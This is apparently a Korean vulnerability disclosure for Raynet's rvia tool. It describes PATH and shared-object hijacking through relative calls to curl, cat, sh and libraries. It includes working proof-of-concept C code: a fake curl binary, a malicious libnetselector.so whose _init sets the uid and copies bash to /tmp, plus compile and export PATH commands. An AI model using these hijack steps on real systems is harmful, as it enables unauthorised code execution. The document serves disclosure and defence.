
Raynet의 rvia는 Uncontrolled Search Path Element(통제되지 않은 검색 경로 요소) 문제에 취약합니다. 공유 객체를 로드하고 시스템 바이너리(예: .so 및 헬퍼 바이너리)를 호출할 때 상대 경로를 사용하여 호출하므로, 사용자는 PATH 환경 변수 조작을 통해 실행되는 최종 바이너리 또는 .so 객체를 변조할 수 있습니다.

다음 증거에서는 /tmp 디렉터리에 curl이라는 임의의 바이너리를 생성합니다.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compiling the binary
PATH 변수는 rvia가 curl 명령을 호출할 때 검색할 첫 번째 디렉터리가 /tmp가 되도록 변경됩니다.
export PATH=/tmp:$PATH
그 후 /opt/rvia/rvia getconfig 호출은 우리가 변조한 curl 바이너리를 사용합니다.

upload 옵션에도 동일하게 적용됩니다.

rvia inventory 옵션을 사용할 때도 동일한 문제가 발견됩니다. 이 옵션은 내부적으로 ndtrack 바이너리를 호출합니다. ndtrack 바이너리는 cat 및 sh 명령을 상대 경로를 사용하여 호출합니다.


마지막으로 ndtrack 바이너리가 상대 경로를 사용하여 공유 객체 .so 파일을 포함하는 것도 확인되었습니다.

다음 증거에서 libnetselector.so에 대한 상대 호출을 대체하는 단계를 확인할 수 있습니다(libuploader.so에도 동일한 작업을 수행할 수 있습니다). 이 경우 사용자 지정 공유 객체가 생성되며, 이 공유 객체가 실행되면 /tmp 디렉터리에 bash_so_hijack이라는 bash 복사본이 생성됩니다.
다음은 libnetselector.so라는 사용자 지정 공유 객체를 생성하기 위한 C 코드입니다.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object

중요한 점은 이 방법은 ndtrack을 직접 호출할 때만 동작한다는 것입니다. inventory 옵션을 호출하면 /opt/rvia에 있는 ndtrack이라는 bash 스크립트가 호출되며, 이 스크립트는 ndtrack 바이너리를 호출하기 전에 PATH 환경 변수를 설정합니다.
